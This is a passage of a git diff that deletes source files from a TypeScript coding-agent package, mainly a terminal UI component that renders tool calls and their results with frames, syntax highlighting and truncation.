Date): string { - return `${d.getFullYear()}-${pad2(d.getMonth() + 1)}-${pad2(d.getDate())}`; -} - -function isoTime(d: Date): string { - return `${pad2(d.getHours())}:${pad2(d.getMinutes())}`; -} - -function usDate(d: Date): string { - return `${pad2(d.getMonth() + 1)}-${pad2(d.getDate())}-${d.getFullYear()}`; -} - -function usTime(d: Date): string { - const hours = d.getHours(); - const period = hours >= 12 ? "PM" : "AM"; - const h = hours % 12 || 12; - return `${h}:${pad2(d.getMinutes())} ${period}`; -} - -/** - * Format a timestamp for message display using the specified format. - */ -export function formatTimestamp( - timestamp: number, - format: TimestampFormat = "date-time-iso", -): string { - const d = new Date(timestamp); - - switch (format) { - case "date-time-iso": - return `${isoDate(d)} ${isoTime(d)}`; - case "date-time-us": - return `${usDate(d)} ${usTime(d)}`; - } -} diff --git a/packages/pi-coding-agent/src/modes/interactive/components/tool-execution.ts b/packages/pi-coding-agent/src/modes/interactive/components/tool-execution.ts deleted file mode 100644 index eb6518906..000000000 --- a/packages/pi-coding-agent/src/modes/interactive/components/tool-execution.ts +++ /dev/null @@ -1,1372 +0,0 @@ -import { - Box, - Container, - getCapabilities, - Image, - type ImageDimensions, - imageFallback, - Spacer, - Text, - type TUI, - truncateToWidth, - visibleWidth, -} from "@singularity-forge/pi-tui"; -import stripAnsi from "strip-ansi"; -import type { ToolDefinition } from "../../../core/extensions/types.js"; -import { - computeEditDiff, - type EditDiffError, - type EditDiffResult, -} from "../../../core/tools/edit-diff.js"; -import { allTools } from "../../../core/tools/index.js"; -import { - DEFAULT_MAX_BYTES, - DEFAULT_MAX_LINES, - formatSize, -} from "../../../core/tools/truncate.js"; -import { convertToPng } from "../../../utils/image-convert.js"; -import { sanitizeBinaryOutput } from "../../../utils/shell.js"; -import { getLanguageFromPath, highlightCode, theme } from "../theme/theme.js"; -import { shortenPath } from "../utils/shorten-path.js"; -import { renderDiff } from "./diff.js"; -import { keyHint } from "./keybinding-hints.js"; -import { formatTimestamp } from "./timestamp.js"; -import { truncateToVisualLines } from "./visual-truncate.js"; - -// Preview line limit for bash when not expanded -const BASH_PREVIEW_LINES = 5; -// During partial write tool-call streaming, re-highlight the first N lines fully -// to keep multiline tokenization mostly correct without re-highlighting the full file. -const WRITE_PARTIAL_FULL_HIGHLIGHT_LINES = 50; - -/** - * Replace tabs with spaces for consistent rendering - */ -function replaceTabs(text: string): string { - return text.replace(/\t/g, " "); -} - -/** - * Normalize control characters for terminal preview rendering. - * Keep tool arguments unchanged, sanitize only display text. - */ -function normalizeDisplayText(text: string): string { - return text.replace(/\r/g, ""); -} - -/** Safely coerce value to string for display. Returns null if invalid type. */ -function str(value: unknown): string | null { - if (typeof value === "string") return value; - if (value == null) return ""; - return null; // Invalid type -} - -/** - * Split an adapter-surfaced MCP tool name (`mcp____`) into its parts. - * Returns null for non-prefixed names. Duplicated from the claude-code-cli - * extension (parseMcpToolName) so this package doesn't have to import across - * the resources/extensions boundary. - */ -function parseMcpToolName( - name: string, -): { server: string; tool: string } | null { - if (!name.startsWith("mcp__")) return null; - const rest = name.slice("mcp__".length); - const delim = rest.indexOf("__"); - if (delim <= 0 || delim === rest.length - 2) return null; - return { server: rest.slice(0, delim), tool: rest.slice(delim + 2) }; -} - -/** - * Prettify a raw tool name for display. Prefers the registered `label` - * ("Complete Slice") when available; otherwise strips a leading `sf_` - * prefix and converts snake_case to Title Case. - */ -function prettifyToolName(name: string, label?: string): string { - if (label && label.trim().length > 0) return label; - const stripped = name.replace(/^sf_/, ""); - if (stripped.length === 0) return name; - return stripped - .split("_") - .map((word) => - word.length === 0 ? word : word[0].toUpperCase() + word.slice(1), - ) - .join(" "); -} - -type ToolFrameTone = "pending" | "success" | "error"; - -function trimOuterBlankLines(lines: string[]): string[] { - let start = 0; - let end = lines.length; - while (start < end && lines[start].trim().length === 0) start++; - while (end > start && lines[end - 1].trim().length === 0) end--; - return lines.slice(start, end); -} - -function renderToolFrame( - contentLines: string[], - width: number, - opts: { - label: string; - status: string; - tone: ToolFrameTone; - modelLabel?: string; - startedAt?: number; - }, -): string[] { - const outerWidth = Math.max(20, width); - const contentWidth = Math.max(1, outerWidth - 2); // "│ " + content - - const borderColor = opts.tone === "error" ? "error" : "toolTitle"; - const topColor = opts.tone === "error" ? "error" : "toolTitle"; - const labelColor = opts.tone === "error" ? "error" : "toolTitle"; - const statusColor = - opts.tone === "error" - ? "error" - : opts.tone === "pending" - ? "warning" - : "success"; - const border = (s: string) => theme.fg(borderColor, s); - - const leftStyled = theme.fg(labelColor, theme.bold(`• ${opts.label}`)); - const statusStyled = theme.fg(statusColor, opts.status); - let rightStyled = statusStyled; - if (opts.startedAt !== undefined) { - rightStyled = `${theme.fg("dim", formatTimestamp(opts.startedAt, "date-time-iso"))}${theme.fg("dim", " · ")}${rightStyled}`; - } - if (opts.modelLabel) { - const separatorStyled = theme.fg("dim", " · "); - const modelWidth = - outerWidth - - visibleWidth(leftStyled) - - visibleWidth(separatorStyled) - - visibleWidth(statusStyled) - - 2; - if (modelWidth >= 8) { - const modelStyled = truncateToWidth( - theme.fg("dim", `model ${opts.modelLabel}`), - modelWidth, - theme.fg("dim", "…"), - ); - rightStyled = `${modelStyled}${separatorStyled}${statusStyled}`; - } - } - const gap = Math.max( - 1, - outerWidth - visibleWidth(leftStyled) - visibleWidth(rightStyled), - ); - const headerRow = `${leftStyled}${" ".repeat(gap)}${rightStyled}`; - const headerPad = Math.max(0, outerWidth - visibleWidth(headerRow)); - - const sourceLines = trimOuterBlankLines(contentLines); - const bodyLines = (sourceLines.length > 0 ? sourceLines : [""]).map( - (line) => { - const clipped = truncateToWidth(line, contentWidth, ""); - return border("│ ") + clipped; - }, - ); - - return [ - theme.fg(topColor, "─".repeat(outerWidth)), - headerRow + " ".repeat(headerPad), - ...bodyLines, - ]; -} -const COMPACT_ARG_VALUE_LIMIT = 60; -const GENERIC_OUTPUT_PREVIEW_LINES = 10; -const GENERIC_ARGS_JSON_PREVIEW_LINES = 10; - -/** - * Format tool args for the generic-renderer fallback. Produces a one-line - * `k=v, k=v` summary when every value is a primitive that fits inline; falls - * back to a truncated JSON dump for structurally complex args. - */ -function formatCompactArgs(args: unknown, expanded: boolean): string { - if (args == null) return ""; - if (typeof args !== "object") return String(args); - - const entries = Object.entries(args as Record); - if (entries.length === 0) return ""; - - const allPrimitive = entries.every(([, value]) => { - const t = typeof value; - return t === "number" || t === "boolean" || t === "string" || value == null; - }); - - if (allPrimitive) { - return entries - .map(([key, value]) => { - if (typeof value === "string") { - const truncated = - !expanded && value.length > COMPACT_ARG_VALUE_LIMIT - ? `${value.slice(0, COMPACT_ARG_VALUE_LIMIT - 1)}…` - : value; - return `${key}=${JSON.stringify(truncated)}`; - } - if (value == null) return `${key}=null`; - return `${key}=${String(value)}`; - }) - .join(", "); - } - - // Complex args: show truncated JSON. - const lines = JSON.stringify(args, null, 2).split("\n"); - const maxLines = expanded ? lines.length : GENERIC_ARGS_JSON_PREVIEW_LINES; - if (lines.length <= maxLines) return lines.join("\n"); - return lines.slice(0, maxLines).join("\n") + "\n..."; -} - -export interface ToolExecutionOptions { - showImages?: boolean; // default: true (only used if terminal supports images) - modelLabel?: string; - startedAt?: number; -} - -type WriteHighlightCache = { - rawPath: string | null; - lang: string; - rawContent: string; - normalizedLines: string[]; - highlightedLines: string[]; -}; - -/** - * Component that renders a tool call with its result (updateable) - */ -export class ToolExecutionComponent extends Container { - private contentBox: Box; // Used for custom tools and bash visual truncation - private contentText: Text; // For built-in tools (with its own padding/bg) - private imageComponents: Image[] = []; - private imageSpacers: Spacer[] = []; - private toolName: string; - private args: any; - private expanded = false; - private showImages: boolean; - private modelLabel?: string; - private startedAt: number; - private isPartial = true; - private toolDefinition?: ToolDefinition; - private ui: TUI; - private cwd: string; - private result?: { - content: Array<{ - type: string; - text?: string; - data?: string; - mimeType?: string; - }>; - isError: boolean; - details?: any; - }; - // Cached edit diff preview (computed when args arrive, before tool executes) - private editDiffPreview?: EditDiffResult | EditDiffError; - private editDiffArgsKey?: string; // Track which args the preview is for - // Cached converted images for Kitty protocol (which requires PNG), keyed by index - private convertedImages: Map = - new Map(); - // Cached resolved image dimensions to avoid re-triggering async parsing - // when updateDisplay() recreates Image components (#3455). - private resolvedImageDimensions: Map = new Map(); - // Incremental syntax highlighting cache for write tool call args - private writeHighlightCache?: WriteHighlightCache; - // When true, this component intentionally renders no lines - private hideComponent = false; - - private get normalizedToolName(): string { - return typeof this.toolName === "string" ? this.toolName.toLowerCase() : ""; - } - - constructor( - toolName: string, - args: any, - options: ToolExecutionOptions = {}, - toolDefinition: ToolDefinition | undefined, - ui: TUI, - cwd: string = process.cwd(), - ) { - super(); - this.toolName = toolName; - this.args = args; - this.showImages = options.showImages ?? true; - this.modelLabel = options.modelLabel?.trim() || undefined; - this.startedAt = options.startedAt ?? Date.now(); - this.toolDefinition = toolDefinition; - this.ui = ui; - this.cwd = cwd; - - this.addChild(new Spacer(1)); - - // Always create both - contentBox for custom tools/bash, contentText for other built-ins - this.contentBox = new Box(1, 1, (text: string) => - theme.bg("toolPendingBg", text), - ); - this.contentText = new Text("", 1, 1, (text: string) => - theme.bg("toolPendingBg", text), - ); - - // Use contentBox for bash (visual truncation) or custom tools with custom renderers - // Use contentText for built-in tools (including overrides without custom renderers) - if ( - this.normalizedToolName === "bash" || - (toolDefinition && !this.shouldUseBuiltInRenderer()) - ) { - this.addChild(this.contentBox); - } else { - this.addChild(this.contentText); - } - - this.updateDisplay(); - } - - /** - * Check if we should use built-in rendering for this tool. - * Returns true if the tool name is a built-in AND either there's no toolDefinition - * or the toolDefinition doesn't provide custom renderers. - */ - private shouldUseBuiltInRenderer(): boolean { - const normalizedToolName = this.normalizedToolName; - const isBuiltInName = normalizedToolName in allTools; - const hasCustomRenderers = - this.toolDefinition?.renderCall || this.toolDefinition?.renderResult; - return isBuiltInName && !hasCustomRenderers; - } - - dispose(): void { - this.convertedImages.clear(); - this.imageComponents = []; - this.imageSpacers = []; - this.editDiffPreview = undefined; - this.writeHighlightCache = undefined; - this.result = undefined; - } - - updateArgs(args: any): void { - this.args = args; - if (this.normalizedToolName === "write" && this.isPartial) { - this.updateWriteHighlightCacheIncremental(); - } - this.updateDisplay(); - } - - private highlightSingleLine(line: string, lang: string): string { - const highlighted = highlightCode(line, lang); - return highlighted[0] ?? ""; - } - - private refreshWriteHighlightPrefix(cache: WriteHighlightCache): void { - const prefixCount = Math.min( - WRITE_PARTIAL_FULL_HIGHLIGHT_LINES, - cache.normalizedLines.length, - ); - if (prefixCount === 0) return; - - const prefixSource = cache.normalizedLines.slice(0, prefixCount).join("\n"); - const prefixHighlighted = highlightCode(prefixSource, cache.lang); - for (let i = 0; i < prefixCount; i++) { - cache.highlightedLines[i] = - prefixHighlighted[i] ?? - this.highlightSingleLine(cache.normalizedLines[i] ?? "", cache.lang); - } - } - - private rebuildWriteHighlightCacheFull( - rawPath: string | null, - fileContent: string, - ): void { - const lang = rawPath ? getLanguageFromPath(rawPath) : undefined; - if (!lang) { - this.writeHighlightCache = undefined; - return; - } - - const displayContent = normalizeDisplayText(fileContent); - const normalized = replaceTabs(displayContent); - this.writeHighlightCache = { - rawPath, - lang, - rawContent: fileContent, - normalizedLines: normalized.split("\n"), - highlightedLines: highlightCode(normalized, lang), - }; - } - - private updateWriteHighlightCacheIncremental(): void { - const rawPath = str(this.args?.file_path ?? this.args?.path); - const fileContent = str(this.args?.content); - if (rawPath === null || fileContent === null) { - this.writeHighlightCache = undefined; - return; - } - - const lang = rawPath ? getLanguageFromPath(rawPath) : undefined; - if (!lang) { - this.writeHighlightCache = undefined; - return; - } - - if (!this.writeHighlightCache) { - this.rebuildWriteHighlightCacheFull(rawPath, fileContent); - return; - } - - const cache = this.writeHighlightCache; - if (cache.lang !== lang || cache.rawPath !== rawPath) { - this.rebuildWriteHighlightCacheFull(rawPath, fileContent); - return; - } - - if (!fileContent.startsWith(cache.rawContent)) { - this.rebuildWriteHighlightCacheFull(rawPath, fileContent); - return; - } - - if (fileContent.length === cache.rawContent.length) { - return; - } - - const deltaRaw = fileContent.slice(cache.rawContent.length); - const deltaDisplay = normalizeDisplayText(deltaRaw); - const deltaNormalized = replaceTabs(deltaDisplay); - cache.rawContent = fileContent; - - if (cache.normalizedLines.length === 0) { - cache.normalizedLines.push(""); - cache.highlightedLines.push(""); - } - - const segments = deltaNormalized.split("\n"); - const lastIndex = cache.normalizedLines.length - 1; - cache.normalizedLines[lastIndex] += segments[0]; - cache.highlightedLines[lastIndex] = this.highlightSingleLine( - cache.normalizedLines[lastIndex], - cache.lang, - ); - - for (let i = 1; i < segments.length; i++) { - cache.normalizedLines.push(segments[i]); - cache.highlightedLines.push( - this.highlightSingleLine(segments[i], cache.lang), - ); - } - - this.refreshWriteHighlightPrefix(cache); - } - - /** - * Signal that args are complete (tool is about to execute). - * This triggers diff computation for edit tool. - */ - setArgsComplete(): void { - if (this.toolName === "write") { - const rawPath = str(this.args?.file_path ?? this.args?.path); - const fileContent = str(this.args?.content); - if (rawPath !== null && fileContent !== null) { - this.rebuildWriteHighlightCacheFull(rawPath, fileContent); - } - } - this.maybeComputeEditDiff(); - } - - /** - * Compute edit diff preview when we have complete args. - * This runs async and updates display when done. - */ - private maybeComputeEditDiff(): void { - if (this.toolName !== "edit") return; - - const path = this.args?.path; - const oldText = this.args?.oldText; - const newText = this.args?.newText; - - // Need all three params to compute diff - if (!path || oldText === undefined || newText === undefined) return; - - // Create a key to track which args this computation is for - const argsKey = JSON.stringify({ path, oldText, newText }); - - // Skip if we already computed for these exact args - if (this.editDiffArgsKey === argsKey) return; - - this.editDiffArgsKey = argsKey; - - // Compute diff async - computeEditDiff(path, oldText, newText, this.cwd).then((result) => { - // Only update if args haven't changed since we started - if (this.editDiffArgsKey === argsKey) { - this.editDiffPreview = result; - this.updateDisplay(); - this.ui.requestRender(); - } - }); - } - - updateResult( - result: { - content: Array<{ - type: string; - text?: string; - data?: string; - mimeType?: string; - }>; - details?: any; - isError: boolean; - }, - isPartial = false, - ): void { - this.result = result; - this.isPartial = isPartial; - if (this.normalizedToolName === "write" && !isPartial) { - const rawPath = str(this.args?.file_path ?? this.args?.path); - const fileContent = str(this.args?.content); - if (rawPath !== null && fileContent !== null) { - this.rebuildWriteHighlightCacheFull(rawPath, fileContent); - } - } - this.updateDisplay(); - // Convert non-PNG images to PNG for Kitty protocol (async) - this.maybeConvertImagesForKitty(); - } - - /** - * Finalize a pending tool call as failed/interrupted while preserving any streamed partial output. - */ - completeWithError(message?: string): void { - this.isPartial = false; - if (this.result) { - let content = this.result.content; - if (message) { - const alreadyHasMessage = content.some( - (block) => block.type === "text" && block.text === message, - ); - if (!alreadyHasMessage) { - content = [...content, { type: "text", text: message }]; - } - } - this.result = { ...this.result, content, isError: true }; - } else { - this.result = { - content: message ? [{ type: "text", text: message }] : [], - isError: true, - }; - } - this.updateDisplay(); - } - - /** - * Convert non-PNG images to PNG for Kitty graphics protocol. - * Kitty requires PNG format (f=100), so JPEG/GIF/WebP won't display. - */ - private maybeConvertImagesForKitty(): void { - const caps = getCapabilities(); - // Only needed for Kitty protocol - if (caps.images !== "kitty") return; - if (!this.result) return; - - const imageBlocks = - this.result.content?.filter((c: any) => c.type === "image") || []; - - for (let i = 0; i < imageBlocks.length; i++) { - const img = imageBlocks[i]; - if (!img.data || !img.mimeType) continue; - // Skip if already PNG or already converted - if (img.mimeType === "image/png") continue; - if (this.convertedImages.has(i)) continue; - - // Convert async - const index = i; - convertToPng(img.data, img.mimeType).then((converted) => { - if (converted) { - this.convertedImages.set(index, converted); - this.updateDisplay(); - this.ui.requestRender(); - } - }); - } - } - - setExpanded(expanded: boolean): void { - this.expanded = expanded; - this.updateDisplay(); - } - - setShowImages(show: boolean): void { - this.showImages = show; - this.updateDisplay(); - } - - override invalidate(): void { - super.invalidate(); - this.updateDisplay(); - } - - override render(width: number): string[] { - if (this.hideComponent) { - return []; - } - const frameWidth = Math.max(20, width); - const contentWidth = Math.max(1, frameWidth - 4); - const lines = super.render(contentWidth); - const frameTone: ToolFrameTone = this.result?.isError - ? "error" - : this.isPartial || !this.result - ? "pending" - : "success"; - const frameStatus = - this.isPartial || !this.result - ? "Running" - : this.result.isError - ? "Error" - : "Done"; - const parsed = parseMcpToolName(this.toolName); - const frameLabel = parsed - ? `Tool ${parsed.server}·${parsed.tool}` - : `Tool ${prettifyToolName(this.toolName, this.toolDefinition?.label) || "unknown"}`; - const framed = renderToolFrame(lines, frameWidth, { - label: frameLabel, - status: frameStatus, - tone: frameTone, - modelLabel: this.modelLabel, - startedAt: this.startedAt, - }); - return framed.length > 0 ? ["", ...framed] : framed; - } - - private updateDisplay(): void { - // Set background based on state - const bgFn = this.isPartial - ? (text: string) => theme.bg("toolPendingBg", text) - : this.result?.isError - ? (text: string) => theme.bg("toolErrorBg", text) - : (text: string) => theme.bg("toolSuccessBg", text); - - const useBuiltInRenderer = this.shouldUseBuiltInRenderer(); - let customRendererHasContent = false; - this.hideComponent = false; - - // Use built-in rendering for built-in tools (or overrides without custom renderers) - if (useBuiltInRenderer) { - if (this.normalizedToolName === "bash") { - // Bash uses Box with visual line truncation - this.contentBox.setBgFn(bgFn); - this.contentBox.clear(); - this.renderBashContent(); - } else { - // Other built-in tools: use Text directly with caching - this.contentText.setCustomBgFn(bgFn); - this.contentText.setText(this.formatToolExecution()); - } - } else if (this.toolDefinition) { - // Custom tools use Box for flexible component rendering - this.contentBox.setBgFn(bgFn); - this.contentBox.clear(); - - // Render call component - if (this.toolDefinition.renderCall) { - try { - const callComponent = this.toolDefinition.renderCall( - this.args, - theme, - ); - if (callComponent !== undefined) { - this.contentBox.addChild(callComponent); - customRendererHasContent = true; - } - } catch { - // Fall back to default on error - this.contentBox.addChild( - new Text(theme.fg("toolTitle", theme.bold(this.toolName)), 0, 0), - ); - customRendererHasContent = true; - } - } else { - // No custom renderCall, show tool name - this.contentBox.addChild( - new Text( - theme.fg( - "toolTitle", - theme.bold( - prettifyToolName(this.toolName, this.toolDefinition.label), - ), - ), - 0, - 0, - ), - ); - customRendererHasContent = true; - } - - // Render result component if we have a result - if (this.result && this.toolDefinition.renderResult) { - try { - const resultComponent = this.toolDefinition.renderResult( - { - content: this.result.content as any, - details: this.result.details, - }, - { expanded: this.expanded, isPartial: this.isPartial }, - theme, - ); - if (resultComponent !== undefined) { - this.contentBox.addChild(resultComponent); - customRendererHasContent = true; - } - } catch { - // Fall back to showing raw output on error - const output = this.getTextOutput(); - if (output) { - this.contentBox.addChild( - new Text(theme.fg("toolOutput", output), 0, 0), - ); - customRendererHasContent = true; - } - } - } else if (this.result) { - // Has result but no custom renderResult - const output = this.getTextOutput(); - if (output) { - this.contentBox.addChild( - new Text(theme.fg("toolOutput", output), 0, 0), - ); - customRendererHasContent = true; - } - } - } else { - // Unknown tool with no registered definition - show generic fallback - this.contentText.setCustomBgFn(bgFn); - this.contentText.setText(this.formatToolExecution()); - } - - // Handle images (same for both custom and built-in) - for (const img of this.imageComponents) { - this.removeChild(img); - } - this.imageComponents = []; - for (const spacer of this.imageSpacers) { - this.removeChild(spacer); - } - this.imageSpacers = []; - - if (this.result) { - const imageBlocks = - this.result.content?.filter((c: any) => c.type === "image") || []; - const caps = getCapabilities(); - - for (let i = 0; i < imageBlocks.length; i++) { - const img = imageBlocks[i]; - if (caps.images && this.showImages && img.data && img.mimeType) { - // Use converted PNG for Kitty protocol if available - const converted = this.convertedImages.get(i); - const imageData = converted?.data ?? img.data; - const imageMimeType = converted?.mimeType ?? img.mimeType; - - // For Kitty, skip non-PNG images that haven't been converted yet - if (caps.images === "kitty" && imageMimeType !== "image/png") { - continue; - } - - const spacer = new Spacer(1); - this.addChild(spacer); - this.imageSpacers.push(spacer); - // Pass cached dimensions to avoid re-triggering async parsing - // when updateDisplay() recreates Image components (#3455). - const cachedDims = this.resolvedImageDimensions.get(i); - const imageComponent = new Image( - imageData, - imageMimeType, - { fallbackColor: (s: string) => theme.fg("toolOutput", s) }, - { maxWidthCells: 60 }, - cachedDims, - ); - if (!cachedDims) { - const imgIdx = i; - imageComponent.setOnDimensionsResolved(() => { - // Cache resolved dimensions so future updateDisplay() calls - // don't re-trigger async parsing → infinite loop (#3455). - const dims = imageComponent.getDimensions?.(); - if (dims) this.resolvedImageDimensions.set(imgIdx, dims); - // Just re-render — don't call updateDisplay() which would - // destroy and recreate all Image components. - this.ui.requestRender(); - }); - } - this.imageComponents.push(imageComponent); - this.addChild(imageComponent); - } - } - } - - if (!useBuiltInRenderer && this.toolDefinition) { - this.hideComponent = - !customRendererHasContent && this.imageComponents.length === 0; - } - } - - /** - * Render bash content using visual line truncation (like bash-execution.ts) - */ - private renderBashContent(): void { - const command = str(this.args?.command); - const timeout = this.args?.timeout as number | undefined; - - // Header - const timeoutSuffix = timeout - ? theme.fg("muted", ` (timeout ${timeout}s)`) - : ""; - const commandDisplay = - command === null - ? theme.fg("error", "[invalid arg]") - : command - ? command - : theme.fg("toolOutput", "..."); - this.contentBox.addChild( - new Text( - theme.fg("toolTitle", theme.bold(`$ ${commandDisplay}`)) + - timeoutSuffix, - 0, - 0, - ), - ); - - if (this.result) { - const output = this.getTextOutput().trim(); - - if (output) { - // Style each line for the output - const styledOutput = output - .split("\n") - .map((line) => theme.fg("toolOutput", line)) - .join("\n"); - - if (this.expanded) { - // Show all lines when expanded - this.contentBox.addChild(new Text(`\n${styledOutput}`, 0, 0)); - } else { - // Use visual line truncation when collapsed with width-aware caching - let cachedWidth: number | undefined; - let cachedLines: string[] | undefined; - let cachedSkipped: number | undefined; - - this.contentBox.addChild({ - render: (width: number) => { - if (cachedLines === undefined || cachedWidth !== width) { - const result = truncateToVisualLines( - styledOutput, - BASH_PREVIEW_LINES, - width, - ); - cachedLines = result.visualLines; - cachedSkipped = result.skippedCount; - cachedWidth = width; - } - if (cachedSkipped && cachedSkipped > 0) { - const hint = - theme.fg("muted", `... (${cachedSkipped} earlier lines,`) + - ` ${keyHint("expandTools", "to expand")})`; - return [ - "", - truncateToWidth(hint, width, "..."), - ...cachedLines, - ]; - } - // Add blank line for spacing (matches expanded case) - return ["", ...cachedLines]; - }, - invalidate: () => { - cachedWidth = undefined; - cachedLines = undefined; - cachedSkipped = undefined; - }, - }); - } - } - - // Truncation warnings - const truncation = this.result.details?.truncation; - const fullOutputPath = this.result.details?.fullOutputPath; - if (truncation?.truncated || fullOutputPath) { - const warnings: string[] = []; - if (fullOutputPath) { - warnings.push(`Full output: ${fullOutputPath}`); - } - if (truncation?.truncated) { - if (truncation.truncatedBy === "lines") { - warnings.push( - `Truncated: showing ${truncation.outputLines} of ${truncation.totalLines} lines`, - ); - } else { - warnings.push( - `Truncated: ${truncation.outputLines} lines shown (${formatSize(truncation.maxBytes ?? DEFAULT_MAX_BYTES)} limit)`, - ); - } - } - this.contentBox.addChild( - new Text( - `\n${theme.fg("warning", `[${warnings.join(". ")}]`)}`, - 0, - 0, - ), - ); - } - } - } - - private getTextOutput(): string { - if (!this.result) return ""; - - const textBlocks = - this.result.content?.filter((c: any) => c.type === "text") || []; - const imageBlocks = - this.result.content?.filter((c: any) => c.type === "image") || []; - - let output = textBlocks - .map((c: any) => { - // Use sanitizeBinaryOutput to handle binary data that crashes string-width - return sanitizeBinaryOutput(stripAnsi(c.text || "")).replace(/\r/g, ""); - }) - .join("\n"); - - const caps = getCapabilities(); - if (imageBlocks.length > 0 && (!caps.images || !this.showImages)) { - const imageIndicators = imageBlocks - .map((img: any) => { - return imageFallback(img.mimeType); - }) - .join("\n"); - output = output ? `${output}\n${imageIndicators}` : imageIndicators; - } - - return output; - } - - private formatToolExecution(): string { - let text = ""; - const invalidArg = theme.fg("error", "[invalid arg]"); - const normalizedToolName = this.normalizedToolName; - - if (normalizedToolName === "read") { - const rawPath = str(this.args?.file_path ?? this.args?.path); - const path = rawPath !== null ? shortenPath(rawPath) : null; - const offset = this.args?.offset; - const limit = this.args?.limit; - - let pathDisplay = - path === null - ? invalidArg - : path - ? theme.fg("accent", path) - : theme.fg("toolOutput", "..."); - if (offset !== undefined || limit !== undefined) { - const startLine = offset ?? 1; - const endLine = limit !== undefined ? startLine + limit - 1 : ""; - pathDisplay += theme.fg( - "warning", - `:${startLine}${endLine ? `-${endLine}` : ""}`, - ); - } - - text = `${theme.fg("toolTitle", theme.bold("read"))} ${pathDisplay}`; - - if (this.result) { - if (this.result.isError) { - const errorText = this.getTextOutput().trim() || "read failed"; - text += `\n\n${theme.fg("error", errorText)}`; - return text; - } - - const rawOutput = this.getTextOutput(); - // Strip hashline prefixes (e.g. "1#BQ:content") for TUI display - const output = rawOutput.replace( - /^(\s*)\d+#[ZPMQVRWSNKTXJBYH]{2}:/gm, - "$1", - ); - const rawPath = str(this.args?.file_path ?? this.args?.path); - const lang = rawPath ? getLanguageFromPath(rawPath) : undefined; - const lines = lang - ? highlightCode(replaceTabs(output), lang) - : output.split("\n"); - - const maxLines = this.expanded ? lines.length : 10; - const displayLines = lines.slice(0, maxLines); - const remaining = lines.length - maxLines; - - text += - "\n\n" + - displayLines - .map((line: string) => - lang - ? replaceTabs(line) - : theme.fg("toolOutput", replaceTabs(line)), - ) - .join("\n"); - if (remaining > 0) { - text += `${theme.fg("muted", `\n... (${remaining} more lines,`)} ${keyHint("expandTools", "to expand")})`; - } - - const truncation = this.result.details?.truncation; - if (truncation?.truncated) { - if (truncation.firstLineExceedsLimit) { - text += - "\n" + - theme.fg( - "warning", - `[First line exceeds ${formatSize(truncation.maxBytes ?? DEFAULT_MAX_BYTES)} limit]`, - ); - } else if (truncation.truncatedBy === "lines") { - text += - "\n" + - theme.fg( - "warning", - `[Truncated: showing ${truncation.outputLines} of ${truncation.totalLines} lines (${truncation.maxLines ?? DEFAULT_MAX_LINES} line limit)]`, - ); - } else { - text += - "\n" + - theme.fg( - "warning", - `[Truncated: ${truncation.outputLines} lines shown (${formatSize(truncation.maxBytes ?? DEFAULT_MAX_BYTES)} limit)]`, - ); - } - } - } - } else if (normalizedToolName === "write") { - const rawPath = str(this.args?.file_path ?? this.args?.path); - const fileContent = str(this.args?.content); - const path = rawPath !== null ? shortenPath(rawPath) : null; - - text = - theme.fg("toolTitle", theme.bold("write")) + - " " + - (path === null - ? invalidArg - : path - ? theme.fg("accent", path) - : theme.fg("toolOutput", "...")); - - if (fileContent === null) { - text += `\n\n${theme.fg("error", "[invalid content arg - expected string]")}`; - } else if (fileContent) { - const lang = rawPath ? getLanguageFromPath(rawPath) : undefined; - - let lines: string[]; - if (lang) { - const cache = this.writeHighlightCache; - if ( - cache && - cache.lang === lang && - cache.rawPath === rawPath && - cache.rawContent === fileContent - ) { - lines = cache.highlightedLines; - } else { - const displayContent = normalizeDisplayText(fileContent); - const normalized = replaceTabs(displayContent); - lines = highlightCode(normalized, lang); - this.writeHighlightCache = { - rawPath, - lang, - rawContent: fileContent, - normalizedLines: normalized.split("\n"), - highlightedLines: lines, - }; - } - } else { - lines = normalizeDisplayText(fileContent).split("\n"); - this.writeHighlightCache = undefined; - } - - const totalLines = lines.length; - const maxLines = this.expanded ? lines.length : 10; - const displayLines = lines.slice(0, maxLines); - const remaining = lines.length - maxLines; - - text += - "\n\n" + - displayLines - .map((line: string) => - lang ? line : theme.fg("toolOutput", replaceTabs(line)), - ) - .join("\n"); - if (remaining > 0) { - text += - theme.fg( - "muted", - `\n... (${remaining} more lines, ${totalLines} total,`, - ) + ` ${keyHint("expandTools", "to expand")})`; - } - } - - // Show error if tool execution failed - if (this.result?.isError) { - const errorText = this.getTextOutput(); - if (errorText) { - text += `\n\n${theme.fg("error", errorText)}`; - } - } - } else if (normalizedToolName === "edit") { - const rawPath = str(this.args?.file_path ?? this.args?.path); - const path = rawPath !== null ? shortenPath(rawPath) : null; - - // Build path display, appending :line if we have diff info - let pathDisplay = - path === null - ? invalidArg - : path - ? theme.fg("accent", path) - : theme.fg("toolOutput", "..."); - const firstChangedLine = - (this.editDiffPreview && "firstChangedLine" in this.editDiffPreview - ? this.editDiffPreview.firstChangedLine - : undefined) || - (this.result && !this.result.isError - ? this.result.details?.firstChangedLine - : undefined); - if (firstChangedLine) { - pathDisplay += theme.fg("warning", `:${firstChangedLine}`); - } - - text = `${theme.fg("toolTitle", theme.bold("edit"))} ${pathDisplay}`; - - if (this.result?.isError) { - // Show error from result - const errorText = this.getTextOutput(); - if (errorText) { - text += `\n\n${theme.fg("error", errorText)}`; - } - } else if (this.result?.details?.diff) { - // Tool executed successfully - use the diff from result - // This takes priority over editDiffPreview which may have a stale error - // due to race condition (async preview computed after file was modified) - text += `\n\n${renderDiff(this.result.details.diff, { filePath: rawPath ?? undefined })}`; - } else if (this.editDiffPreview) { - // Use cached diff preview (before tool executes) - if ("error" in this.editDiffPreview) { - text += `\n\n${theme.fg("error", this.editDiffPreview.error)}`; - } else if (this.editDiffPreview.diff) { - text += `\n\n${renderDiff(this.editDiffPreview.diff, { filePath: rawPath ?? undefined })}`; - } - } - } else if (normalizedToolName === "ls") { - const rawPath = str(this.args?.path); - const path = rawPath !== null ? shortenPath(rawPath || ".") : null; - const limit = this.args?.limit; - - text = `${theme.fg("toolTitle", theme.bold("ls"))} ${path === null ? invalidArg : theme.fg("accent", path)}`; - if (limit !== undefined) { - text += theme.fg("toolOutput", ` (limit ${limit})`); - } - - if (this.result) { - if (this.result.isError) { - const errorText = this.getTextOutput().trim() || "ls failed"; - text += `\n\n${theme.fg("error", errorText)}`; - return text; - } - - const output = this.getTextOutput().trim(); - if (output) { - const lines = output.split("\n"); - const maxLines = this.expanded ? lines.length : 20; - const displayLines = lines.slice(0, maxLines); - const remaining = lines.length - maxLines; - - text += `\n\n${displayLines.map((line: string) => 